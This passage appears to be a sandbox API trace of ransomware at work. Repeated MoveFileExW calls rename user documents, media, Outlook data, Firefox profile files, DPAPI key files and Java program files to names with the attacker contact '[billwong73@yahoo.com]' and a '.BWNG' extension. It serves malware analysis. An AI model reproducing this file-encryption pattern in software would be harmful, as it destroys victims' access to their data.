lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26815890982) returned 1 [0126.207] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_50167909fcfe0c66153f1901439cbba1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].zz76Ie8Y-P4xbkfij.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].zz76ie8y-p4xbkfij.bwng"), dwFlags=0x1) returned 1 [0126.209] GetTickCount () returned 0x11671d6 [0126.209] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26816091709) returned 1 [0126.209] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8828f39c7c0ce9a14b25c7eb321181ba_c6ef73e4482b2588b1252d1a64b99416"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].q1rOdFnX-CQ8UAt1s.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].q1rodfnx-cq8uat1s.bwng"), dwFlags=0x1) returned 1 [0126.210] GetTickCount () returned 0x11671d6 [0126.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26816273321) returned 1 [0126.211] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\b3bb9c1ba2d19e090ae305b2683903a0_b89a63ac6877bd1ed812438ce82c3eb8"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].jizMIOel-aowNOszB.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].jizmioel-aownoszb.bwng"), dwFlags=0x1) returned 1 [0126.212] GetTickCount () returned 0x11671d6 [0126.212] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26816423616) returned 1 [0126.212] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\f293aead5e84facfb686c4a620718928_c8424a0b24a72939b13720d0c000c9c1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].zFBfaqin-wGSfFjuN.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].zfbfaqin-wgsffjun.bwng"), dwFlags=0x1) returned 1 [0126.213] GetTickCount () returned 0x11671d6 [0126.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26816566156) returned 1 [0126.214] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\44xHu lhxbP7g-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\44xhu lhxbp7g-.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].LHrEoZ8Y-mQ8Gsr7F.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].lhreoz8y-mq8gsr7f.bwng"), dwFlags=0x1) returned 1 [0126.216] GetTickCount () returned 0x11671d6 [0126.216] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26816793398) returned 1 [0126.216] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DrzX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\drzx.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].mPTY66dJ-wBh8i43X.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].mpty66dj-wbh8i43x.bwng"), dwFlags=0x1) returned 1 [0126.217] GetTickCount () returned 0x11671d6 [0126.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26816956702) returned 1 [0126.218] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\[billwong73@yahoo.com].fB7MzQMq-zDG4AFmo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\[billwong73@yahoo.com].fb7mzqmq-zdg4afmo.bwng"), dwFlags=0x1) returned 1 [0126.220] GetTickCount () returned 0x11671d6 [0126.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26817178233) returned 1 [0126.220] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\Preferred" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\preferred"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].lk0yABH5-zMDMy8TI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].lk0yabh5-zmdmy8ti.bwng"), dwFlags=0x1) returned 1 [0126.363] GetTickCount () returned 0x1167272 [0126.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26831577368) returned 1 [0126.364] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\mimeTypes.rdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\mimetypes.rdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].IUEnmx6I-1n9aA3rL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].iuenmx6i-1n9aa3rl.bwng"), dwFlags=0x1) returned 1 [0126.366] GetTickCount () returned 0x1167272 [0126.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26831780801) returned 1 [0126.366] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pwcRdGkZayaUR6N6F6g.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pwcrdgkzayaur6n6f6g.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].BlI5hf2R-pZKRO721.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].bli5hf2r-pzkro721.bwng"), dwFlags=0x1) returned 1 [0126.367] GetTickCount () returned 0x1167272 [0126.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26831942275) returned 1 [0126.367] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\[billwong73@yahoo.com].5ZgenWJk-vcmmHOdI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\[billwong73@yahoo.com].5zgenwjk-vcmmhodi.bwng"), dwFlags=0x1) returned 1 [0126.373] GetTickCount () returned 0x1167272 [0126.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26832484406) returned 1 [0126.373] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8XGBvVzBOikw.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8xgbvvzboikw.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].tUay7v0N-58bXhyMw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].tuay7v0n-58bxhymw.bwng"), dwFlags=0x1) returned 1 [0126.374] GetTickCount () returned 0x1167272 [0126.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26832658168) returned 1 [0126.375] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\teW5aTu016ug9u.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tew5atu016ug9u.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].hKDrMLAa-3Hx0epx4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].hkdrmlaa-3hx0epx4.bwng"), dwFlags=0x1) returned 1 [0126.550] GetTickCount () returned 0x116732d [0126.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26850228954) returned 1 [0126.551] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\[billwong73@yahoo.com].H9GA3YjY-zhSbW8IZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\[billwong73@yahoo.com].h9ga3yjy-zhsbw8iz.bwng"), dwFlags=0x1) returned 1 [0126.552] GetTickCount () returned 0x116732d [0126.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26850393242) returned 1 [0126.552] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\[billwong73@yahoo.com].PnqbhcBg-ewBwtRoa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\[billwong73@yahoo.com].pnqbhcbg-ewbwtroa.bwng"), dwFlags=0x1) returned 1 [0126.553] GetTickCount () returned 0x116732d [0126.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26850552931) returned 1 [0126.554] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\221s20Kr.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\221s20kr.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].b8tIlMhv-VH6BroCS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].b8tilmhv-vh6brocs.bwng"), dwFlags=0x1) returned 1 [0126.555] GetTickCount () returned 0x116732d [0126.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26850722383) returned 1 [0126.555] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].sxUyCaeG-u5cerW5s.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].sxuycaeg-u5cerw5s.bwng"), dwFlags=0x1) returned 1 [0126.557] GetTickCount () returned 0x116732d [0126.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26850885921) returned 1 [0126.557] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\puyuw1tNc1q8oM.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\puyuw1tnc1q8om.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].2uGoU089-NuxPTuhe.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].2ugou089-nuxptuhe.bwng"), dwFlags=0x1) returned 1 [0126.715] GetTickCount () returned 0x11673c9 [0126.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26868014610) returned 1 [0126.909] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\V_80Hz0xb3EUuYQ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\v_80hz0xb3euuyq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].saQumcJf-pUiygzc6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].saqumcjf-puiygzc6.bwng"), dwFlags=0x1) returned 1 [0126.912] GetTickCount () returned 0x1167494 [0126.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26886378233) returned 1 [0126.912] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\cgBXdg8O8yLbo0uv.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\cgbxdg8o8ylbo0uv.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\[billwong73@yahoo.com].rUUxfDuu-7PonHgDS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\[billwong73@yahoo.com].ruuxfduu-7ponhgds.bwng"), dwFlags=0x1) returned 1 [0126.913] GetTickCount () returned 0x1167494 [0126.913] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26886573063) returned 1 [0126.914] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mEYdA8YLrZs.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\meyda8ylrzs.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\[billwong73@yahoo.com].r7UcLlKb-ssvwvpwm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\[billwong73@yahoo.com].r7ucllkb-ssvwvpwm.bwng"), dwFlags=0x1) returned 1 [0126.915] GetTickCount () returned 0x1167494 [0126.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26886733108) returned 1 [0126.915] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qTqMxgO.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qtqmxgo.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\[billwong73@yahoo.com].9ycrxNoV-ZQNwIdYU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\[billwong73@yahoo.com].9ycrxnov-zqnwidyu.bwng"), dwFlags=0x1) returned 1 [0126.916] GetTickCount () returned 0x1167494 [0126.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26886871175) returned 1 [0126.917] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpUTllb33 WCQI.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jputllb33 wcqi.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].aI39vzBY-tszfgZdP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].ai39vzby-tszfgzdp.bwng"), dwFlags=0x1) returned 1 [0126.918] GetTickCount () returned 0x1167494 [0126.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26887060674) returned 1 [0126.919] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\HRrBB0ILCcWfy5HN.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\hrrbb0ilccwfy5hn.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].ILIsjXxB-stfPI1i6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].ilisjxxb-stfpi1i6.bwng"), dwFlags=0x1) returned 1 [0126.920] GetTickCount () returned 0x1167494 [0126.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26887238339) returned 1 [0126.920] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\dQT0gfeEJWU4w2.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\dqt0gfeejwu4w2.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].57iUjcZu-jpWULBna.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].57iujczu-jpwulbna.bwng"), dwFlags=0x1) returned 1 [0126.922] GetTickCount () returned 0x1167494 [0126.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26887539575) returned 1 [0126.924] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\X31I-zRAWaWt.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\x31i-zrawawt.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].xqHArEJ9-6Ta9z7PH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].xqharej9-6ta9z7ph.bwng"), dwFlags=0x1) returned 1 [0126.925] GetTickCount () returned 0x11674a4 [0126.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26887744855) returned 1 [0126.925] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\[billwong73@yahoo.com].Gyin3nrf-nk3n9AHp.BWNG" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\[billwong73@yahoo.com].gyin3nrf-nk3n9ahp.bwng"), dwFlags=0x1) returned 1 [0126.928] GetTickCount () returned 0x11674a4 [0126.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26888013706) returned 1 [0126.928] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\[billwong73@yahoo.com].VsZHW59K-Ug46X6Vo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\[billwong73@yahoo.com].vszhw59k-ug46x6vo.bwng"), dwFlags=0x1) returned 1 [0126.930] GetTickCount () returned 0x11674a4 [0126.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26888180875) returned 1 [0126.930] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3jyUe_0.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\3jyue_0.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].Ko1oamH2-W6jUUVo1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].ko1oamh2-w6juuvo1.bwng"), dwFlags=0x1) returned 1 [0126.931] GetTickCount () returned 0x11674a4 [0126.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26888308980) returned 1 [0126.931] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GGPqE2IEVgHTFIgXl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ggpqe2ievghtfigxl.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].rMw4Iy3s-S0Bn6W7H.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].rmw4iy3s-s0bn6w7h.bwng"), dwFlags=0x1) returned 1 [0126.932] GetTickCount () returned 0x11674a4 [0126.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26888447562) returned 1 [0126.932] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\javaws.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\javaws.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].roBaAZWQ-lym0pslP.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].robaazwq-lym0pslp.bwng"), dwFlags=0x1) returned 1 [0126.934] GetTickCount () returned 0x11674a4 [0126.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26888642821) returned 1 [0126.934] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\rmid.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\rmid.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].vaDfvoXG-OJsRNH9i.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].vadfvoxg-ojsrnh9i.bwng"), dwFlags=0x1) returned 1 [0126.936] GetTickCount () returned 0x11674a4 [0126.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26888809041) returned 1 [0126.936] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\[billwong73@yahoo.com].DWnuq6Wn-3OVkEQOi.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\[billwong73@yahoo.com].dwnuq6wn-3ovkeqoi.bwng"), dwFlags=0x1) returned 1 [0126.938] GetTickCount () returned 0x11674b3 [0126.938] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26889000280) returned 1 [0126.938] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\qeOm-LH-NE2HQzo.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qeom-lh-ne2hqzo.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].utRrFRLM-Sjt8MnZ4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].utrrfrlm-sjt8mnz4.bwng"), dwFlags=0x1) returned 1 [0126.939] GetTickCount () returned 0x11674b3 [0126.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26889149415) returned 1 [0126.940] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqsmessages.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqsmessages.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\[billwong73@yahoo.com].2RiuJOxL-7Fj2JBc2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\[billwong73@yahoo.com].2riujoxl-7fj2jbc2.bwng"), dwFlags=0x1) returned 1 [0126.941] GetTickCount () returned 0x11674b3 [0126.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26889335664) returned 1 [0126.941] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_zh_cn.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].GVojASAO-6Dbpnt3I.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].gvojasao-6dbpnt3i.bwng"), dwFlags=0x1) returned 1 [0126.943] GetTickCount () returned 0x11674b3 [0126.943] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26889502305) returned 1 [0126.943] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunec.jar"), lpNewFileName="C:\\Program Files 